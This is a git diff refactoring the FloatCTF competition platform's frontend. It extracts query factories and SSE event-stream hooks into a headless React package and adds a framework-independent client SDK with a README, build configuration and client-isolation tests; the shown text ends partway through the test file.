+ * - ✅ 允许:query option 工厂、query key 常量、可复用 mutation/hook、 + * SSE → React Query 失效逻辑、数据/状态/动作 hook + * - ❌ 禁止:Header / Sidebar / Table 视觉组件、Primer、Tailwind、CSS、 + * 路由、页面、导航、对话框、任何 UX 流程 + * + * Hook 只暴露 data / actions / state,**不返回 JSX**。 + * + * 非 React 前端**完全不需要**这个包:它们直接用 `@floatctf/sdk`。 + * + * ```ts + * const { useAwdEventStream, eventInfoQueryOptions } = createFloatCTFReact({ + * client, + * useUserToken: () => useAuthStore((s) => s.token), + * useAdminToken: () => useAuthStore((s) => s.adminToken), + * }); + * ``` + */ + +import type { FloatCTFClient } from "@floatctf/sdk"; + +import { + AWD_ADMIN_QUERY_KEYS, + AWD_PLAYER_QUERY_KEYS, + invalidateAwdQueries, +} from "./awdInvalidation.js"; +import { createQueryFactories } from "./queries/index.js"; +import type { UseTokenSource } from "./tokenSource.js"; +import { createUseAdminAwdEventStream } from "./useAdminAwdEventStream.js"; +import { createUseAwdEventStream } from "./useAwdEventStream.js"; +import { createUseAwdpEventStream } from "./useAwdpEventStream.js"; +import { createUseAwdpRunStream } from "./useAwdpRunStream.js"; + +export interface CreateFloatCTFReactOptions { + /** 已绑定的 FloatCTF 客户端(来自 `@floatctf/sdk` 的 `createFloatCTFClient()`)。 */ + client: FloatCTFClient; + /** 前端自有的"读当前选手 token"hook。 */ + useUserToken: UseTokenSource; + /** 前端自有的"读当前管理员 token"hook;省略时复用 `useUserToken`。 */ + useAdminToken?: UseTokenSource; +} + +export function createFloatCTFReact(options: CreateFloatCTFReactOptions) { + const { client } = options; + const useUserToken = options.useUserToken; + const useAdminToken = options.useAdminToken ?? options.useUserToken; + + return { + client, + // ── 实时事件流(SSE + 轮询兜底 + React Query 失效)── + useAwdEventStream: createUseAwdEventStream(client, useUserToken), + useAdminAwdEventStream: createUseAdminAwdEventStream(client, useAdminToken), + useAwdpEventStream: createUseAwdpEventStream(client, useUserToken), + useAwdpRunStream: createUseAwdpRunStream(client, useUserToken), + // ── query options 工厂 ── + ...createQueryFactories(client), + // ── 失效工具(页面手动刷新与事件流共用同一份 key 常量)── + invalidateAwdQueries, + AWD_PLAYER_QUERY_KEYS, + AWD_ADMIN_QUERY_KEYS, + }; +} + +export type FloatCTFReactBindings = ReturnType; + +export { + AWD_ADMIN_QUERY_KEYS, + AWD_PLAYER_QUERY_KEYS, + invalidateAwdQueries, +} from "./awdInvalidation.js"; +export type { UseTokenSource } from "./tokenSource.js"; +export type { AwdpStreamEvent, UseAwdpEventStreamOptions } from "./useAwdpEventStream.js"; +export type { UseAwdpRunStreamOptions } from "./useAwdpRunStream.js"; +export type { + AwdStreamEvent, + UseAwdEventStreamOptions, +} from "./useAwdEventStream.js"; +export type { UseAdminAwdEventStreamOptions } from "./useAdminAwdEventStream.js"; diff --git a/apps/web/src/api/queries/service/challenges.ts b/packages/react/src/queries/challenge.ts similarity index 56% rename from apps/web/src/api/queries/service/challenges.ts rename to packages/react/src/queries/challenge.ts index bf13e916..651cf0d6 100644 --- a/apps/web/src/api/queries/service/challenges.ts +++ b/packages/react/src/queries/challenge.ts @@ -1,15 +1,16 @@ -import { serviceApi } from "@/api"; +import type { FloatCTFClient } from "@floatctf/sdk"; import { queryOptions } from "@tanstack/react-query"; /** * 题目详情 query options 工厂。 * Key: ["challenge", id] — 必须与既有 key 完全一致。 */ -export const challengeQueryOptions = (id: string) => - queryOptions({ +export function challengeQueryOptions(client: FloatCTFClient, id: string) { + return queryOptions({ queryKey: ["challenge", id], - queryFn: () => serviceApi.challenges.get(id), + queryFn: () => client.service.challenges.get(id), }); +} /** * 题目实例 query options 工厂。 @@ -18,8 +19,9 @@ export const challengeQueryOptions = (id: string) => * 注意:非动态题 instance 可能 404。loader 中用尽力预取 * (.catch()),不要硬 ensureQueryData。 */ -export const challengeInstanceQueryOptions = (id: string) => - queryOptions({ +export function challengeInstanceQueryOptions(client: FloatCTFClient, id: string) { + return queryOptions({ queryKey: ["instance", id], - queryFn: () => serviceApi.challenges.getInstance(id), + queryFn: () => client.service.challenges.getInstance(id), }); +} diff --git a/apps/web/src/api/queries/service/events.ts b/packages/react/src/queries/eventInfo.ts similarity index 75% rename from apps/web/src/api/queries/service/events.ts rename to packages/react/src/queries/eventInfo.ts index 70c9d332..5e347501 100644 --- a/apps/web/src/api/queries/service/events.ts +++ b/packages/react/src/queries/eventInfo.ts @@ -1,4 +1,4 @@ -import { serviceApi } from "@/api"; +import type { FloatCTFClient } from "@floatctf/sdk"; import { queryOptions } from "@tanstack/react-query"; /** @@ -12,8 +12,9 @@ import { queryOptions } from "@tanstack/react-query"; * 造成白屏。用户状态刷新(join/leave/建队/退队)由 mutation 的 * invalidateQueries(["eventInfo", id]) 保证(active 查询立即 refetch)。 */ -export const eventInfoQueryOptions = (id: string) => - queryOptions({ +export function eventInfoQueryOptions(client: FloatCTFClient, id: string) { + return queryOptions({ queryKey: ["eventInfo", id], - queryFn: () => serviceApi.events.get(id), + queryFn: () => client.service.events.get(id), }); +} diff --git a/packages/react/src/queries/index.ts b/packages/react/src/queries/index.ts new file mode 100644 index 00000000..4bd3ae15 --- /dev/null +++ b/packages/react/src/queries/index.ts @@ -0,0 +1,25 @@ +import type { FloatCTFClient } from "@floatctf/sdk"; + +import { challengeInstanceQueryOptions, challengeQueryOptions } from "./challenge.js"; +import { eventInfoQueryOptions } from "./eventInfo.js"; +import { systemInformationQueryOptions } from "./systemInformation.js"; + +/** + * 把 query options 工厂绑定到某个 FloatCTF 客户端。 + * + * 返回的工厂保持与原 `@/api/queries` **完全相同的调用签名与 query key**, + * 因此迁移到 headless 绑定后页面的 invalidate/refetch 语义零变化。 + */ +export function createQueryFactories(client: FloatCTFClient) { + return { + eventInfoQueryOptions: (id: string) => eventInfoQueryOptions(client, id), + challengeQueryOptions: (id: string) => challengeQueryOptions(client, id), + challengeInstanceQueryOptions: (id: string) => + challengeInstanceQueryOptions(client, id), + systemInformationQueryOptions: () => systemInformationQueryOptions(client), + }; +} + +export { challengeInstanceQueryOptions, challengeQueryOptions } from "./challenge.js"; +export { eventInfoQueryOptions } from "./eventInfo.js"; +export { systemInformationQueryOptions } from "./systemInformation.js"; diff --git a/apps/web/src/api/queries/admin/system.ts b/packages/react/src/queries/systemInformation.ts similarity index 64% rename from apps/web/src/api/queries/admin/system.ts rename to packages/react/src/queries/systemInformation.ts index e3389f98..bd0eb50f 100644 --- a/apps/web/src/api/queries/admin/system.ts +++ b/packages/react/src/queries/systemInformation.ts @@ -1,4 +1,4 @@ -import { adminApi } from "@/api"; +import type { FloatCTFClient } from "@floatctf/sdk"; import { queryOptions } from "@tanstack/react-query"; /** @@ -8,8 +8,9 @@ import { queryOptions } from "@tanstack/react-query"; * 注意:管理端仪表盘另有 refetchInterval: 60s。 * 该逻辑留在组件——loader 只预加载首屏数据。 */ -export const systemInformationQueryOptions = () => - queryOptions({ +export function systemInformationQueryOptions(client: FloatCTFClient) { + return queryOptions({ queryKey: ["system_information"], - queryFn: adminApi.system.monitor, + queryFn: () => client.admin.system.monitor(), }); +} diff --git a/packages/react/src/tokenSource.ts b/packages/react/src/tokenSource.ts new file mode 100644 index 00000000..ca836e4e --- /dev/null +++ b/packages/react/src/tokenSource.ts @@ -0,0 +1,8 @@ +/** + * React binding 的令牌来源抽象。 + * + * `@floatctf/react` **不**假设任何认证状态实现:前端把自己的 hook(Zustand selector、 + * Context selector、内存订阅……)传进来即可。这样 headless 绑定永远不会把 + * 某个状态库变成平台依赖。 + */ +export type UseTokenSource = () => string | null | undefined; diff --git a/apps/web/src/hooks/useAdminAwdEventStream.ts b/packages/react/src/useAdminAwdEventStream.ts similarity index 85% rename from apps/web/src/hooks/useAdminAwdEventStream.ts rename to packages/react/src/useAdminAwdEventStream.ts index 06c1a005..f9fcd070 100644 --- a/apps/web/src/hooks/useAdminAwdEventStream.ts +++ b/packages/react/src/useAdminAwdEventStream.ts @@ -4,28 +4,23 @@ * 使用管理端认证令牌(adminToken)连接 `/api/admin/events/{id}/awd/stream`。 * 认证:SuperAdminJwtGuard(super_admin 表,独立于 users 认证域)。 * - * 与 `useAwdEventStream` 共享 `connectSse` 传输层,仅 URL 和 token 来源不同。 + * 与 `useAwdEventStream` 共享同一个客户端传输层,仅 base URL(管理端)与 token 来源不同。 */ import { useQueryClient } from "@tanstack/react-query"; + +import type { UseTokenSource } from "./tokenSource.js"; import { useCallback, useEffect, useRef, useState } from "react"; -import { useAuthStore } from "@/stores/AuthStore"; import { AWD_ADMIN_QUERY_KEYS, invalidateAwdQueries, -} from "@/hooks/awdInvalidation"; -import { - type SseConnection, - type SseConnectionState, - type SseEvent, - connectSse, -} from "@/lib/sse"; - -export type AwdStreamEvent = { - type: string; - sequence?: number; - payload?: unknown; - occurred_at?: string; -}; +} from "./awdInvalidation.js"; +import type { AwdStreamEvent } from "./useAwdEventStream.js"; +import type { + FloatCTFClient, + SseConnection, + SseConnectionState, + SseEvent, +} from "@floatctf/sdk"; export type UseAdminAwdEventStreamOptions = { eventId: string; @@ -34,7 +29,8 @@ export type UseAdminAwdEventStreamOptions = { enabled?: boolean; }; -export function useAdminAwdEventStream(options: UseAdminAwdEventStreamOptions) { +export function createUseAdminAwdEventStream(client: FloatCTFClient, useAdminToken: UseTokenSource) { + return function useAdminAwdEventStream(options: UseAdminAwdEventStreamOptions) { const { eventId, pollMs = 15_000, @@ -43,7 +39,7 @@ export function useAdminAwdEventStream(options: UseAdminAwdEventStreamOptions) { } = options; // 管理端令牌 — 独立于 users 认证域 - const adminToken = useAuthStore((s) => s.adminToken); + const adminToken = useAdminToken(); const qc = useQueryClient(); const [connectionState, setConnectionState] = @@ -136,8 +132,8 @@ export function useAdminAwdEventStream(options: UseAdminAwdEventStreamOptions) { if (preferStream) { const controller = new AbortController(); - const connection = connectSse({ - url: `/api/admin/events/${eventId}/awd/stream`, + const connection = client.sse.connectAdmin({ + url: `/events/${eventId}/awd/stream`, headers: {}, signal: controller.signal, getToken: () => adminToken, @@ -185,8 +181,7 @@ export function useAdminAwdEventStream(options: UseAdminAwdEventStreamOptions) { disposed = true; stopPoll(); }; - // eslint-disable-next-line react-hooks/exhaustive-deps - }, [eventId, enabled, pollMs, preferStream, adminToken, handleSseEvent, invalidateAwd]); + }, [client, eventId, enabled, pollMs, preferStream, adminToken, handleSseEvent, invalidateAwd]); return { connected: connectionState === "connected", @@ -195,4 +190,5 @@ export function useAdminAwdEventStream(options: UseAdminAwdEventStreamOptions) { lastError, invalidateAwd, }; -} \ No newline at end of file + }; +} diff --git a/apps/web/src/hooks/useAwdEventStream.ts b/packages/react/src/useAwdEventStream.ts similarity index 86% rename from apps/web/src/hooks/useAwdEventStream.ts rename to packages/react/src/useAwdEventStream.ts index 96ca8d0b..855d3c4b 100644 --- a/apps/web/src/hooks/useAwdEventStream.ts +++ b/packages/react/src/useAwdEventStream.ts @@ -1,15 +1,16 @@ -import { - type SseConnection, - type SseConnectionState, - type SseEvent, - connectSse, -} from "@/lib/sse"; -import { useAuthStore } from "@/stores/AuthStore"; +import type { + FloatCTFClient, + SseConnection, + SseConnectionState, + SseEvent, +} from "@floatctf/sdk"; /** * AWD 实时事件流 Hook。 * - * 使用 fetch-based SSE(`connectSse`)连接 `/api/events/{id}/awd/stream`, - * 通过 Authorization: Bearer 头传递认证令牌。 + * 使用 `client.sse.connect()`(fetch-based SSE)连接 + * `{client.baseUrl}/events/{id}/awd/stream`,通过 Authorization: Bearer 头传递认证令牌。 + * URL 由**客户端自己的 base URL** 决定(绝不硬编码 `/api`),因此跨源/自建 base URL 的前端 + * 与 REST 请求走同一个地址。 * * 原生 EventSource 无法发送自定义请求头,因此本 hook 不再使用 EventSource。 * @@ -23,12 +24,14 @@ import { useAuthStore } from "@/stores/AuthStore"; * - 401/403 → auth_error,停止重连;令牌变更后重新尝试 */ import { useQueryClient } from "@tanstack/react-query"; + +import type { UseTokenSource } from "./tokenSource.js"; import { useCallback, useEffect, useRef, useState } from "react"; import { AWD_PLAYER_QUERY_KEYS, invalidateAwdQueries, -} from "@/hooks/awdInvalidation"; +} from "./awdInvalidation.js"; export type AwdStreamEvent = { type: string; @@ -46,7 +49,8 @@ export type UseAwdEventStreamOptions = { enabled?: boolean; }; -export function useAwdEventStream(options: UseAwdEventStreamOptions) { +export function createUseAwdEventStream(client: FloatCTFClient, useUserToken: UseTokenSource) { + return function useAwdEventStream(options: UseAwdEventStreamOptions) { const { eventId, pollMs = 15_000, @@ -55,7 +59,7 @@ export function useAwdEventStream(options: UseAwdEventStreamOptions) { } = options; // 订阅令牌变更 — 令牌变化会触发 effect 清理 + 重建 - const token = useAuthStore((s) => s.token); + const token = useUserToken(); const qc = useQueryClient(); const [connectionState, setConnectionState] = @@ -153,8 +157,8 @@ export function useAwdEventStream(options: UseAwdEventStreamOptions) { if (preferStream) { const controller = new AbortController(); - const connection = connectSse({ - url: `/api/events/${eventId}/awd/stream`, + const connection = client.sse.connect({ + url: `/events/${eventId}/awd/stream`, headers: {}, signal: controller.signal, // 使用闭包捕获的 token(effect 重建时更新) @@ -204,8 +208,7 @@ export function useAwdEventStream(options: UseAwdEventStreamOptions) { stopPoll(); }; // token 在依赖数组中 → 令牌变更触发清理 + 重建 - // eslint-disable-next-line react-hooks/exhaustive-deps - }, [eventId, enabled, pollMs, preferStream, token, handleSseEvent, invalidateAwd]); + }, [client, eventId, enabled, pollMs, preferStream, token, handleSseEvent, invalidateAwd]); return { connected: connectionState === "connected", @@ -214,4 +217,5 @@ export function useAwdEventStream(options: UseAwdEventStreamOptions) { lastError, invalidateAwd, }; -} \ No newline at end of file + }; +} diff --git a/apps/web/src/hooks/useAwdpEventStream.ts b/packages/react/src/useAwdpEventStream.ts similarity index 90% rename from apps/web/src/hooks/useAwdpEventStream.ts rename to packages/react/src/useAwdpEventStream.ts index 3af003f1..f5d354cd 100644 --- a/apps/web/src/hooks/useAwdpEventStream.ts +++ b/packages/react/src/useAwdpEventStream.ts @@ -1,11 +1,12 @@ -import { - type SseConnection, - type SseConnectionState, - type SseEvent, - connectSse, -} from "@/lib/sse"; -import { useAuthStore } from "@/stores/AuthStore"; +import type { + FloatCTFClient, + SseConnection, + SseConnectionState, + SseEvent, +} from "@floatctf/sdk"; import { useQueryClient } from "@tanstack/react-query"; + +import type { UseTokenSource } from "./tokenSource.js"; /** * AWDP 实时事件流 hook。 * 使用 fetch-based SSE 通过 Authorization: Bearer 头传递认证令牌。 @@ -29,13 +30,14 @@ export type UseAwdpEventStreamOptions = { const SNAPSHOT_RE = /awdp\.(score|phase|config|event|patch|manual|round|evaluation|instance)/; -export function useAwdpEventStream({ +export function createUseAwdpEventStream(client: FloatCTFClient, useUserToken: UseTokenSource) { + return function useAwdpEventStream({ eventId, pollMs = 15000, preferStream = true, enabled = true, }: UseAwdpEventStreamOptions) { - const token = useAuthStore((s) => s.token); + const token = useUserToken(); const [connectionState, setConnectionState] = useState("idle"); @@ -125,8 +127,8 @@ export function useAwdpEventStream({ if (preferStream) { const controller = new AbortController(); - const connection = connectSse({ - url: `/api/events/${eventId}/awdp/stream`, + const connection = client.sse.connect({ + url: `/events/${eventId}/awdp/stream`, headers: {}, signal: controller.signal, getToken: () => token, @@ -181,7 +183,7 @@ export function useAwdpEventStream({ invalidateTimerRef.current = null; } }; - }, [eventId, enabled, preferStream, pollMs, token, invalidate, onEvent]); + }, [client, eventId, enabled, preferStream, pollMs, token, invalidate, onEvent]); return { connected: connectionState === "connected", @@ -190,4 +192,5 @@ export function useAwdpEventStream({ lastError, invalidateAwdp: invalidate, }; + }; } diff --git a/apps/web/src/hooks/useAwdpRunStream.ts b/packages/react/src/useAwdpRunStream.ts similarity index 86% rename from apps/web/src/hooks/useAwdpRunStream.ts rename to packages/react/src/useAwdpRunStream.ts index 990292cd..941393ac 100644 --- a/apps/web/src/hooks/useAwdpRunStream.ts +++ b/packages/react/src/useAwdpRunStream.ts @@ -1,11 +1,12 @@ -import { - type SseConnection, - type SseConnectionState, - type SseEvent, - connectSse, -} from "@/lib/sse"; -import { useAuthStore } from "@/stores/AuthStore"; +import type { + FloatCTFClient, + SseConnection, + SseConnectionState, + SseEvent, +} from "@floatctf/sdk"; import { useQueryClient } from "@tanstack/react-query"; + +import type { UseTokenSource } from "./tokenSource.js"; /** * AWDP Practice Run 实时事件流 hook。 * @@ -14,7 +15,7 @@ import { useQueryClient } from "@tanstack/react-query"; */ import { useCallback, useEffect, useRef, useState } from "react"; -import type { AwdpStreamEvent } from "@/hooks/useAwdpEventStream"; +import type { AwdpStreamEvent } from "./useAwdpEventStream.js"; export type UseAwdpRunStreamOptions = { runId: string; @@ -26,13 +27,14 @@ export type UseAwdpRunStreamOptions = { const SNAPSHOT_RE = /awdp\.(score|phase|patch|manual|round|evaluation|instance|run)/; -export function useAwdpRunStream({ +export function createUseAwdpRunStream(client: FloatCTFClient, useUserToken: UseTokenSource) { + return function useAwdpRunStream({ runId, pollMs = 15000, preferStream = true, enabled = true, }: UseAwdpRunStreamOptions) { - const token = useAuthStore((s) => s.token); + const token = useUserToken(); const [connectionState, setConnectionState] = useState("idle"); @@ -106,8 +108,8 @@ export function useAwdpRunStream({ if (preferStream) { const controller = new AbortController(); - const connection = connectSse({ - url: `/api/service/awdp/runs/${runId}/stream`, + const connection = client.sse.connect({ + url: `/service/awdp/runs/${runId}/stream`, headers: {}, signal: controller.signal, getToken: () => token, @@ -154,7 +156,7 @@ export function useAwdpRunStream({ stopped = true; stopPolling(); }; - }, [runId, enabled, preferStream, pollMs, token, invalidate, onEvent]); + }, [client, runId, enabled, preferStream, pollMs, token, invalidate, onEvent]); return { connected: connectionState === "connected", @@ -163,4 +165,5 @@ export function useAwdpRunStream({ lastError, invalidateRun: invalidate, }; + }; } diff --git a/packages/react/tsconfig.build.json b/packages/react/tsconfig.build.json new file mode 100644 index 00000000..949f3536 --- /dev/null +++ b/packages/react/tsconfig.build.json @@ -0,0 +1,9 @@ +{ + "extends": "./tsconfig.json", + "compilerOptions": { + "noEmit": false, + "outDir": "./dist", + "rootDir": "./src" + }, + "exclude": ["src/**/__tests__/**", "src/**/*.test.ts", "src/**/*.test.tsx"] +} diff --git a/packages/react/tsconfig.json b/packages/react/tsconfig.json new file mode 100644 index 00000000..c6357c51 --- /dev/null +++ b/packages/react/tsconfig.json @@ -0,0 +1,22 @@ +{ + "compilerOptions": { + "target": "ES2022", + "module": "ESNext", + "moduleResolution": "bundler", + "lib": ["ES2022", "DOM", "DOM.Iterable"], + "jsx": "react-jsx", + "types": [], + "strict": true, + "skipLibCheck": true, + "noUnusedLocals": false, + "noUnusedParameters": false, + "noFallthroughCasesInSwitch": true, + "verbatimModuleSyntax": true, + "isolatedModules": true, + "declaration": true, + "declarationMap": true, + "sourceMap": true, + "noEmit": true + }, + "include": ["src/**/*.ts", "src/**/*.tsx"] +} diff --git a/packages/react/vitest.config.ts b/packages/react/vitest.config.ts new file mode 100644 index 00000000..0b475800 --- /dev/null +++ b/packages/react/vitest.config.ts @@ -0,0 +1,11 @@ +import react from "@vitejs/plugin-react"; +import { defineConfig } from "vitest/config"; + +export default defineConfig({ + plugins: [react()], + test: { + environment: "jsdom", + include: ["src/**/*.test.ts", "src/**/*.test.tsx"], + passWithNoTests: false, + }, +}); diff --git a/packages/sdk/README.md b/packages/sdk/README.md new file mode 100644 index 00000000..9e04dd15 --- /dev/null +++ b/packages/sdk/README.md @@ -0,0 +1,103 @@ +# @floatctf/sdk + +FloatCTF platform client SDK — **framework independent**. No React, no router, no state +library, no Primer, no Tailwind, no application pages. + +``` +FloatCTF Backend ── REST / SSE / Bearer ──▶ @floatctf/sdk ──▶ @floatctf/react ──▶ Frontend +``` + +## Usage + +```ts +import { createFloatCTFClient } from "@floatctf/sdk"; + +const client = createFloatCTFClient({ + baseUrl: "/api", + // Auth storage is FRONTEND-owned; the SDK only asks for a token. + getUserToken: () => myStore.getState().token, + getAdminToken: () => myStore.getState().adminToken, + // What happens after a 401 is FRONTEND-owned: the SDK never navigates. + onUnauthorized: ({ scope }) => { + if (scope === "admin") myStore.getState().removeAdminToken(); + else myStore.getState().removeToken(); + }, +}); + +const events = await client.service.events.fetch({ limit: 20 }); +const client2 = await client.admin.settings.fetch(); +``` + +`client.service` / `client.admin` / `client.awd` / `client.awdp` are the domain façades, +each bound to **that instance's own** HTTP transport. + +### Multi-client / instance isolation + +There is no module-global "current transport" and no shared client singleton. Every +`createFloatCTFClient()` call returns a fully independent client (own base URL, own token +sources, own error hooks); creation order does not matter and there is nothing to unbind: + +```ts +const a = createFloatCTFClient({ baseUrl: "https://a.example/api", getUserToken: () => "A" }); +const b = createFloatCTFClient({ baseUrl: "https://b.example/api", getUserToken: () => "B" }); + +await b.service.events.fetch(); // → b.example with "B" +await a.service.events.fetch(); // → a.example with "A" (still!) +``` + +`client.baseUrl` / `client.adminBaseUrl` are authoritative: `requestConfig` cannot smuggle a +`baseURL` (it is excluded at the type level and overridden at runtime). + +The individual domain modules are exported as **factories** +(`createEventServiceApi(http)`, `createAwdPlayerApi(http)`, …) for advanced composition; +regular code should use `client.*`. + +Realtime: use `client.sse.connect({ url: "/events//awd/stream" })` (player base URL + +user token) or `client.sse.connectAdmin({ ... })` (admin base URL + admin token). Relative +URLs resolve against the owning client's base URL, and the Bearer token always travels in the +`Authorization` header — never in the URL. + +## Error model + +Rejected values are always [`FloatCTFError`](./src/errors.ts), exposing: + +| field | meaning | +|---|---| +| `httpStatus` | HTTP status, when there was a response | +| `code` | platform response code (`UniResponse.code`) | +| `platformMessage` | platform message (`UniResponse.message`) | +| `kind` | `http` \| `platform` \| `network` \| `unknown` | +| `unauthorized` | true for 401 | +| `original` | the original cause (usually the Axios error) | +| `response` | Axios-compatible `{ status, data, headers }` shape | +| `displayMessage` | best message to show a user | + +`response` is kept so existing UI code reading `error.response?.data?.message` keeps +working unchanged — the typed fields are additive, not a replacement. + +## Responses + +`UniResponse` = `{ code, message, data?, meta? }` is preserved verbatim from the +backend. The SDK does not invent a second envelope. + +## Realtime (SSE) + +`connectSse` / `client.sse.connect` use `fetch` + `ReadableStream`, so the Bearer token +travels in the `Authorization` header and **never** in the URL. Reconnect uses +exponential backoff with jitter, stops on 401/403, honours `Retry-After` on 429, and +supports `Last-Event-ID`. + +## Entity types + +Generated DB-column types live behind a separate entry point so they cannot be confused +with API DTOs: + +```ts +import type { Events } from "@floatctf/sdk/entity"; +``` + +## Contract version + +`API_CONTRACT_VERSION` (see `docs/frontend/ARCHITECTURE.md`) lives with the runtime +contract in `@floatctf/frontend-runtime`. `scripts/check-architecture.sh` asserts the two +declarations never drift. diff --git a/packages/sdk/biome.json b/packages/sdk/biome.json new file mode 100644 index 00000000..ee2e2875 --- /dev/null +++ b/packages/sdk/biome.json @@ -0,0 +1,34 @@ +{ + "$schema": "https://biomejs.dev/schemas/1.9.4/schema.json", + "vcs": { + "enabled": false, + "clientKind": "git", + "useIgnoreFile": false + }, + "files": { + "ignoreUnknown": false, + "ignore": ["dist"], + "include": ["src/*", "vitest.config.ts", "tsconfig*.json", "README.md"] + }, + "formatter": { + "enabled": true, + "indentStyle": "tab" + }, + "organizeImports": { + "enabled": true + }, + "linter": { + "enabled": true, + "rules": { + "recommended": true, + "suspicious": { + "noConsole": "off" + } + } + }, + "javascript": { + "formatter": { + "quoteStyle": "double" + } + } +} diff --git a/packages/sdk/package.json b/packages/sdk/package.json new file mode 100644 index 00000000..4105e1c2 --- /dev/null +++ b/packages/sdk/package.json @@ -0,0 +1,53 @@ +{ + "name": "@floatctf/sdk", + "version": "1.0.0", + "description": "FloatCTF platform client SDK (framework independent): transport, error model, REST/SSE clients, DTOs", + "license": "AGPL-3.0-only", + "type": "module", + "sideEffects": false, + "main": "./dist/index.js", + "types": "./dist/index.d.ts", + "exports": { + ".": { + "types": "./dist/index.d.ts", + "import": "./dist/index.js" + }, + "./entity": { + "types": "./dist/entity/index.d.ts", + "import": "./dist/entity/index.js" + }, + "./entity/*": { + "types": "./dist/entity/*.d.ts", + "import": "./dist/entity/*.js" + }, + "./sse": { + "types": "./dist/sse/index.d.ts", + "import": "./dist/sse/index.js" + }, + "./api/*": { + "types": "./dist/api/*.d.ts", + "import": "./dist/api/*.js" + }, + "./package.json": "./package.json" + }, + "files": ["dist", "README.md"], + "scripts": { + "build": "tsc -p tsconfig.build.json", + "dev": "tsc -p tsconfig.build.json --watch --preserveWatchOutput", + "test": "vitest run", + "lint": "biome lint src", + "typecheck": "tsc -p tsconfig.build.json --noEmit" + }, + "dependencies": { + "axios": "^1.11.0" + }, + "devDependencies": { + "@biomejs/biome": "1.9.4", + "jsdom": "^26.0.0", + "typescript": "^5.7.2", + "vitest": "^3.0.5" + }, + "publishConfig": { + "access": "public" + } +} diff --git a/packages/sdk/src/__tests__/client.test.ts b/packages/sdk/src/__tests__/client.test.ts new file mode 100644 index 00000000..5baccd5e --- /dev/null +++ b/packages/sdk/src/__tests__/client.test.ts @@ -0,0 +1,220 @@ +import { describe, expect, it } from "vitest"; + +import { createFloatCTFClient, resolveSseUrl } from "../client"; + +/** + * 多客户端隔离测试(Phase 12.1 / P0-A)。 + * + * 这些用例存在的理由:SDK 曾经用**模块级绑定**(`service_api` / `admin_api` + + * `bindHttpClients()`)实现传输,于是 `createFloatCTFClient()` 创建的多个实例 + * 会互相覆盖 —— 后创建的客户端会把先前客户端的请求"劫持"到自己的 base URL/token。 + * 作为公开 SDK 这是不可接受的,因此现在每个客户端完全独立。 + * + * 这里不使用任何"测试用全局重置":如果还需要那种 helper,说明隔离又坏了。 + */ + +interface Recorded { + baseURL?: string; + url?: string; + authorization?: string; +} + +function record(instance: { + defaults: { adapter?: unknown }; +}, sink: Recorded[], tag: { status?: number; data?: unknown } = {}): void { + instance.defaults.adapter = async (config: Record) => { + const headers = (config.headers ?? {}) as Record; + sink.push({ + baseURL: config.baseURL as string | undefined, + url: config.url as string | undefined, + authorization: headers.Authorization as string | undefined, + }); + const status = tag.status ?? 200; + if (status >= 400) { + throw Object.assign(new Error(`Request failed with status code ${status}`), { + isAxiosError: true, + response: { status, data: tag.data ?? {}, statusText: "", headers: {} }, + config, + }); + } + return { + status, + data: tag.data ?? { code: 0, message: "OK", data: null }, + statusText: "", + headers: {}, + config, + }; + }; +} + +const A_BASE = "https://a.example/api"; +const B_BASE = "https://b.example/api"; + +describe("SDK client instance isolation", () => { + it("keeps A on A's transport after B is created (and vice versa)", async () => { + const hitsA: Recorded[] = []; + const hitsB: Recorded[] = []; + const a = createFloatCTFClient({ baseUrl: A_BASE, getUserToken: () => "TOKEN_A" }); + const b = createFloatCTFClient({ baseUrl: B_BASE, getUserToken: () => "TOKEN_B" }); + record(a.transport.service, hitsA); + record(b.transport.service, hitsB); + + // B 先发,再发 A(创建顺序与调用顺序都试一遍) + await b.service.events.fetch(); + await a.service.events.fetch(); + + expect(hitsA).toHaveLength(1); + expect(hitsB).toHaveLength(1); + expect(hitsA[0]).toMatchObject({ + baseURL: A_BASE, + url: "/events", + authorization: "Bearer TOKEN_A", + }); + expect(hitsB[0]).toMatchObject({ + baseURL: B_BASE, + url: "/events", + authorization: "Bearer TOKEN_B", + }); + }); + + it("keeps isolation with the reversed creation order", async () => { + const hitsB: Recorded[] = []; + const hitsA: Recorded[] = []; + const b = createFloatCTFClient({ baseUrl: B_BASE, getUserToken: () => "TOKEN_B" }); + const a = createFloatCTFClient({ baseUrl: A_BASE, getUserToken: () => "TOKEN_A" }); + record(b.transport.service, hitsB); + record(a.transport.service, hitsA); + + await a.service.events.fetch(); + await b.service.events.fetch(); + + expect(hitsA[0]?.baseURL).toBe(A_BASE); + expect(hitsA[0]?.authorization).toBe("Bearer TOKEN_A"); + expect(hitsB[0]?.baseURL).toBe(B_BASE); + expect(hitsB[0]?.authorization).toBe("Bearer TOKEN_B"); + }); + + it("keeps isolation under parallel requests", async () => { + const hitsA: Recorded[] = []; + const hitsB: Recorded[] = []; + const a = createFloatCTFClient({ baseUrl: A_BASE, getUserToken: () => "TOKEN_A" }); + const b = createFloatCTFClient({ baseUrl: B_BASE, getUserToken: () => "TOKEN_B" }); + record(a.transport.service, hitsA); + record(b.transport.service, hitsB); + + await Promise.all([ + a.service.events.fetch(), + b.service.events.fetch(), + a.service.events.fetch(), + b.service.events.fetch(), + ]); + + expect(hitsA.map((h) => h.baseURL)).toEqual([A_BASE, A_BASE]); + expect(hitsB.map((h) => h.baseURL)).toEqual([B_BASE, B_BASE]); + expect(new Set(hitsA.map((h) => h.authorization))).toEqual(new Set(["Bearer TOKEN_A"])); + expect(new Set(hitsB.map((h) => h.authorization))).toEqual(new Set(["Bearer TOKEN_B"])); + }); + + it("keeps player and admin transports isolated inside a single client", async () => { + const hitsPlayer: Recorded[] = []; + const hitsAdmin: Recorded[] = []; + const client = createFloatCTFClient({ + baseUrl: A_BASE, + getUserToken: () => "TOKEN_USER", + getAdminToken: () => "TOKEN_ADMIN", + }); + record(client.transport.service, hitsPlayer); + record(client.transport.admin, hitsAdmin); + + await client.service.events.fetch(); + await client.admin.settings.fetch(); + + expect(hitsPlayer[0]).toMatchObject({ + baseURL: A_BASE, + authorization: "Bearer TOKEN_USER", + }); + expect(hitsAdmin[0]).toMatchObject({ + baseURL: `${A_BASE}/admin`, + authorization: "Bearer TOKEN_ADMIN", + }); + }); + + it("does not leak a second client's token when the first has none", async () => { + const hitsA: Recorded[] = []; + const hitsB: Recorded[] = []; + const a = createFloatCTFClient({ baseUrl: A_BASE, getUserToken: () => null }); + const b = createFloatCTFClient({ baseUrl: B_BASE, getUserToken: () => "TOKEN_B" }); + record(a.transport.service, hitsA); + record(b.transport.service, hitsB); + + await b.service.events.fetch(); + await a.service.events.fetch(); + 